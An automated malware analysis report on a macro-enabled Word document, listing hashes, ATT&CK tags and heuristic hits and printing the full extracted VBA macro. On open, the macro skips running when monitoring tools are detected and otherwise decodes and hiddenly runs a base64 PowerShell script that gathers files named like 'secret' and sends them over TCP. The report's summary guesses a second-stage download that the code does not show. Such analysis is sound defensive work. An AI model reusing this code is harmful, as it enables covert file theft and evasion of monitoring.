Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fa5f065a64aeb893…

MALICIOUS

Office (OOXML)

38.6 KB Created: 2021-01-13 17:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-02
MD5: 347c32d07e7f2050dcb31a05e2848245 SHA-1: 1ee8d8e897f106d9f6d9aa1cadf1b2c1ac784e2f SHA-256: fa5f065a64aeb8939a9d86fffc98ac2ffae99f156fbe37e8e471c1704b6a1e24
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a 'Document_Open' subroutine. This subroutine attempts to run a 'ping www.google.com' command to check for internet connectivity. If successful, it proceeds to decode and execute a PowerShell command, likely to download and run a second-stage payload. The use of WScript.Shell, CreateObject, and direct references to cmd.exe and PowerShell strongly indicate a malicious intent to execute arbitrary code.

Heuristics 10

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            command = "Powershell.exe -ExecutionPolicy ByPass -File " & filePath
        Set WsShell = CreateObject("WScript.Shell")
        WsShell.Run command, 0
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            ' Saves decrypted data to powershell file
        decryptedMsg = DecodeBase64(randomData)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            command = "Powershell.exe -ExecutionPolicy ByPass -File " & filePath
        Set WsShell = CreateObject("WScript.Shell")
        WsShell.Run command, 0
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        ' This part saves command's output to a temporary file
    WshShell.Run "cmd /c " & command & " > " & filePath, 0, True
    With CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Document_Open()
    Main
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ' Gets path of current user's desktop
    desktop = "C:" & Environ("HOMEPATH") & "\Desktop\"
    res = runHiddenCmd("ping www.google.com")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5372 bytes
SHA-256: 5e2bab18f95a8a30a3fd792e0126d74b48e1626530b6afdafea4f4000badffb4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 13 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    Main
End Sub

Attribute VB_Name = "Module1"
Public desktop As String

Sub Main()
    Dim res As String, flag As Boolean
    
    ' Gets path of current user's desktop
    desktop = "C:" & Environ("HOMEPATH") & "\Desktop\"
    res = runHiddenCmd("ping www.google.com")
    
    ' Checks if the current enpoint is connected to the internet
    If InStr(res, "Approximate round") > 0 And canIRun() Then
        Dim randomData As String, decryptedMsg As String, filePath As String
        Dim WsShell As Object, command As String
        randomData = "RnVuY3Rpb24gU2VuZC1UQ1BNZXNzYWdlIHsgCiAgICBQYXJhbSAoIAogICAgICAgICAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSwgUG9zaXRpb249MCld" & _
"CiAgICAgICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldIAogICAgICAgICAgICBbc3RyaW5nXSAKICAgICAgICAgICAgJEVuZFBvaW50CiAgICAgICAgLCAKICAgICAgICAg" & _
"ICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUsIFBvc2l0aW9uPTEpXQogICAgICAgICAgICBbaW50XQogICAgICAgICAgICAkUG9ydAogICAgICAgICwgCiAgICAgICAgICAgIFtQYX" & _
"JhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlLCBQb3NpdGlvbj0yKV0KICAgICAgICAgICAgW3N0cmluZ10KICAgICAgICAgICAgJE1lc3NhZ2UKICAgICkgCiAgICBQcm9jZXNzIHsKICAgICAgI" & _
"CAjIFNldHVwIGNvbm5lY3Rpb24gCiAgICAgICAgJElQID0gW1N5c3RlbS5OZXQuRG5zXTo6R2V0SG9zdEFkZHJlc3NlcygkRW5kUG9pbnQpIAogICAgICAgICRBZGRyZXNzID0gW1N5c3RlbS" & _
"5OZXQuSVBBZGRyZXNzXTo6UGFyc2UoJElQKSAKICAgICAgICAkU29ja2V0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCRBZGRyZXNzLCRQb3J0KSAKICAgIAog" & _
"ICAgICAgICMgU2V0dXAgc3RyZWFtIHdydGllciAKICAgICAgICAkU3RyZWFtID0gJFNvY2tldC5HZXRTdHJlYW0oKSAKICAgICAgICAkV3JpdGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uU3R" & _
"yZWFtV3JpdGVyKCRTdHJlYW0pCgogICAgICAgICMgV3JpdGUgbWVzc2FnZSB0byBzdHJlYW0KICAgICAgICAkTWVzc2FnZSB8ICUgewogICAgICAgICAgICAkV3JpdGVyLldyaXRlTGluZSgkXykK" & _
"ICAgICAgICAgICAgJFdyaXRlci5GbHVzaCgpCiAgICAgICAgfQogICAgCiAgICAgICAgIyBDbG9zZSBjb25uZWN0aW9uIGFuZCBzdHJlYW0KICAgICAgICAkU3RyZWFtLkNsb3NlKCkKICAgICAgIC" & _
"AkU29ja2V0LkNsb3NlKCkKICAgIH0KfQoKJGZpbGVzID0gR2V0LUNoaWxkSXRlbSAkSE9NRSAtUmVjdXJzZSAtRmlsZQoKZm9yZWFjaCAoJGZpbGUgaW4gJGZpbGVzKXsKICAgICRmaWxlTmFtZSA9I" & _
"CRmaWxlLk5hbWUKICAgIGlmICgkZmlsZU5hbWUgLWxpa2UgJypzZWNyZXQqJyl7CiAgICAgICAgd3JpdGUtaG9zdCAkZmlsZW5hbWUKICAgICAgICAkZGF0YSA9ICQoR2V0LUNvbnRlbnQgLVBhdGggJ" & _
"GZpbGUuRnVsbE5hbWUpCiAgICAgICAgJG1zZyA9ICJGaWxlIG5hbWU6ICQoJGZpbGVOYW1lKWBuRGF0YTogJCgkZGF0YSkiCiAgICAgICAgU2VuZC1UQ1BNZXNzYWdlIC1Qb3J0IDIwMjAgLUVuZHBvaW" & _
"50IDEyNy4wLjAuMSAtbWVzc2FnZSAkbXNnCiAgICB9Cgp9CgpSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGggIiQoJFBTU2NyaXB0Um9vdClcbm90TWFsLnBzMSIgLUZvcmNlCg=="
        
        ' Saves decrypted data to powershell file
        decryptedMsg = DecodeBase64(randomData)
        filePath = desktop & "notMal.ps1"
        createFile decryptedMsg, filePath
        
        ' Executes ps file (file deletes itself automatically) :)
        command = "Powershell.exe -ExecutionPolicy ByPass -File " & filePath
        Set WsShell = CreateObject("WScript.Shell")
        WsShell.Run command, 0
       
    
    End If
End Sub
 
 Function runHiddenCmd(command As String)
    Dim filePath As String, strOutput
    Dim fso As Object, WshShell As Object
    
    filePath = desktop & "out.txt"
    Set WshShell = CreateObject("WScript.Shell")
    
    ' This part saves command's output to a temporary file
    WshShell.Run "cmd /c " & command & " > " & filePath, 0, True
    With CreateObject("Scripting.FileSystemObject")

        strOutput = .OpenTextFile(filePath).ReadAll()
        .deleteFile filePath

    End With
    
    ' Returns cmd output
    runHiddenCmd = strOutput
End Function

Function DecodeBase64(b64$)
    
    ' Function decodes b64 variable
    Dim b
    
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .Text = b64
        b = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
            DecodeBase64 = .ReadText
            .Close
        End With
    End With
End Function

Function createFile(data As String, filePath As String)
    Dim fso As FileSystemObject, fileStream As TextStream
    
    Set fso = New FileSystemObject
    
    ' Here the actual file is created and opened for write access
    Set fileStream = fso.CreateTextFile(filePath)
    fileStream.WriteLine data

    ' Close it, so it is not locked anymore
    fileStream.Close
End Function

Function canIRun()
    ' Function checks is process' are currently running
    Dim res As String, diskSpace As String, Itm As Variant
    Dim badProc As Variant
    
    ' tools list
    badProc = Array("procexp.exe", "procexp64.exe", "Taskmgr.exe", "Procmon.exe", "Procmon64.exe")
    res = runHiddenCmd("tasklist")
     
    ' check if one of them appears in tasklist output - which means it's running
    For Each Itm In badProc
        If (InStr(res, Itm) > 0) Then
            canIRun = False
            Exit Function
        End If
    Next Itm
    canIRun = True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 33792 bytes
SHA-256: a7309a86fca25be7d41841aea56e4aa52ee1e72c719f21046da53245d132984d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 13 long base64-like blob(s).

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